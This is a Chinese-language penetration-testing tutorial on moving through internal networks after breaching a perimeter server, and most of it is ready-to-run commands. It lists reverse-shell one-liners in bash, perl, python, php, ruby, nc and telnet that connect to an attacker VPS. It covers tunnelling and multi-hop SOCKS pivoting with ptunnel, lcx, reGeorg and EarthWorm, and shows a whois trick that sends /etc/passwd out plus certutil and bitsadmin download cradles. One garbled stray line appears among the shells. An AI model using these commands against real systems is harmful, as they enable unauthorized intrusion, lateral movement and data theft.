背景
“边界”通常是指内网与外网之间的那条边界,在内网中,边界也包括各个区域之间的边界。本篇文章主要介绍在内网各种环境中的shell反弹、内网穿透及文件传输方面常用的一些方法和工具,利用这些方法来跨越内网中的层层边界。
当我们获取到互联网边界服务器权限之后,我们可以通过边界服务器对内网进行探测,收集一些内网信息,比如扫描内网存活的主机、系统指纹识别、开放的端口和服务,之后通过某些攻击方式获取到内网服务器权限。如果内网环境比较复杂,划分多个区域,不通区域之间访问策略各有限制,就需要在内网区域之间进行层层穿透。
网络连通性
获取到内网某台设备权限之后,需要先测试一下网络连通性,常用的测试有ping、http、tcp、dns等方式。
ping:
ping www.xx.com
http:
curl www.xx.com
dns:
-
-
在http://www.dnslog.cn/里生成一个子域名,xxxx.dnslog.cn
-
使用nslookup xxxx.dnslog.cn
-
查看该子域名访问记录,如果没有记录,则说明不可以访问互联网
-
内网跨边界之反弹shell
我们在获取内网设备权限的时候可以将其shell反弹到我们位于公网的VPS上,利用后渗透工具协同作战,可以方便进行我们后续的工作。
VPS假定的ip为66.66.66.66,监听端口为1234
nc -lvvp 1234
bash:
bash -I >& /dev/tcp/66.66.66.66/1234 0>&1
perl:
perl -e 'use Socket;$i="66.66.66.66";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ets);IO.popen(cmd,"r"){|io|c.print io.read}end'
nc:
nc -vv 66.66.66.66 1234 -e /bin/bash
telnet:
mknod backpipe p && telnet 66.66.66.66 1234 0<backpipe | /bin/bash 1>backpipe
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("66.66.66.66",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php:
php -r '$sock=fsockopen("66.66.66.66",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("66.66.66.66","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
内网跨边界之内网穿透
在内网设备不能出网的情况下,我们可以建立隧道从而达到我们访问内网的目的;同样我们也可以利用隧道对多区域多层级内网进行穿透,直抵目标。
穿透前,client端只能访问到web_server,无法访问到db_server
穿透后,client通过web_server,可以访问到db_server
代理分为正向代理和反向代理
正向代理:代理客户端流量,对服务端而言无法发现真实的客户端信息。
反向代理:代理服务端流量,对客户端而言无法发现真实的服务端信息。
网络层隧道
icmp隧道:
将数据封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复,这种方式可以绕过防火墙对TCP与UDP的限制策略,类似的还有IPv6隧道技术。
1、使用ptunnel在跳板机上建立隧道的一端。
ptunnel -x password
2、在VPS上使用ptunnel设置将内网3389端口和本地1234端口建立隧道
ptunnel -p 跳板机 IP -lp 1234 -da 内网设备 IP-dp 3389 -x password
传输层隧道
通常说我们说的端口转发就是建立了一个传输层隧道,我们进行端口转发可以绕过防火墙对某些特定端口的限制,比如22、3389等。
LCX:
lcx.exe -tran 1234 127.0.0.1 3389 #将本地3389端口转发到1234端口上
在跳板机执行 :
lcx.exe -slave 66.66.66.66 1234 192.168.1.1 3389 #将内网192.168.1.1上3389端口转发到外网66.66.66.66上的1234端口
在VPS上执行 :
lcx.exe -listen 1234 4321 #将1234端口的流量转发到4321端口,结合上条命令,访问66.66.66.66的4321端口就等同于访问192.168.1.1的3389端口
应用层隧道
利用HTTP、SSH等应用层协议建立隧道,HTTP隧道在web应用服务器上使用简单,对权限要求低,regeorg 与tunna、reDuh类似。
regeorg:
1、在web目录下上传脚本,以aspx为例,上传成功后访问该脚本,显示如下图。
2、在VPS上运行:
python reGeorgSocksProxy.py -u "http:// xx.com/tunnel.aspx" -l 0.0.0.0 -p 1234 #这样VPS的1234端口与web服务器的隧道就建立起来了。
3、配置好socks代理设置后就可以通过本地的1234端口访问web服务器可访问的内网设备。
ssh tunnel:
ssh -C -f -N -g -L 0.0.0.0:1234:192.168.1.1:3389 user@跳板机ip -p 22(需要跳板机ssh的密码)
将内网192.168.1.1的3389端口通过跳板机转发到vps的1234端口。
socks代理
ew(EarthWorm)
EW 是一套便携式的内网穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道。
正向socks代理:
ew -s ssocksd -l 1080
反向socks代理:
在vps上执行:
ew -s rcsocks -l 1080 -e 1234
在跳板机上执行:
ew -s rssocks -d vps_ip -e 1234
在vps上通过1080端口即可访问跳板机内网段设备。
二级正向代理:
在一级内网机器上执行(该一级内网机器可访问二级内网):
ew -s ssocksd -l 1081
在跳板机上进行端口转发:
ew -s lcx_tran -l 1080 -f 一级内网ip -g 1081
在VPS上配置socks代理,代理配置指向跳板机的1080端口,即可访问二级内网。
EW最有强大的就是它的多级代理,操作方便,层层穿透,直达目标。
内网跨边界之文件传输
进入内网后,可能需要将某些文件工具进行上传或下载,但是内网数据存放的环境各种各样,在面对不同的内网环境情况下,我们需要多储备一些在不同环境下进行文件传输的方法。
nc:
接收机:
nc -lvvp 1234 > save.txt #将收到的文件保存为save.txt
发送机:
nc 接收机ip 1234 < send.txt #传输send.txt文件
此时接收机上的save.txt文件就是发送机上的send.txt文件。
whois命令:
接收机:
nc -lvvp 1234
发送机:
whois -h 接收机ip -p 1234 `cat /etc/passwd `
此时在接收机上即可看到发送机的/etc/passwd信息
vbs:
在发送机web根目录下放置一个send.zip
在接收机上创建save.vbs,内容如下:
set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://发送机ip/send.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\save.zip",2
执行后在C盘录下查看save.zip。
Python:
在发送机web根目录下放置一个send.zip
在接收机上创建save.py,内容如下:
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://发送机ip/send.zip')
localFile = open('/tmp/save.zip','w')
localFile.write(u.read())
localFile.close()
执行后在/tmp目录下查看。
ruby:
在发送机web根目录下放置一个send.zip
在接收机上创建save.rb,内容如下:
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("发送机ip/send.zip"){|http|
r=http.get("/send.zip")
open("/tmp/save.zip","wb"){|file|
file.write(r.body)
}
}
执行后在/tmp目录下查看。
wget:
在发送机web根目录下放置一个send.zip
在接收机执行
wget http://发送机ip/send.zip -P /tmp/
powershell:
在发送机web根目录下放置一个send.zip
在接收机创建save.ps1,内容如下:
$d = New-Object System.Net.WebClient
$d.DownloadFile("http://发送机ip/send.zip","c:/save.zip")
perl:
在发送机web根目录下放置一个send.zip
在接收机创建save.pl,内容如下:
use LWP::Simple;my $url = 'http://发送机ip/send.zip';my $file = '/tmp/save.zip';getstore($url,$file);bitsadmin:
在发送机web根目录下放置一个send.zip
在接收机执行
bitsadmin /transfer n http://发送机ip/send.zip c:\save.zip
scp:
在发送机/tmp目录下创建send.txt
在接收机执行
scp user@发送机ip:/tmp/send.txt save.txt
certutil:
在发送机web根目录下放置一个send.zip
在接收机执行
certutil.exe -urlcache -split -f http://发送机ip/send.zip c:\save.zip
总结
随着安全设备和安全软件开始 “盯上” 这些工具,检测力度的升级使得很多工具都会被查杀,工具免杀是个很好的研究方向。攻、防 总是相爱相杀,在对抗中提升各自的能力,推动安全技术的发展。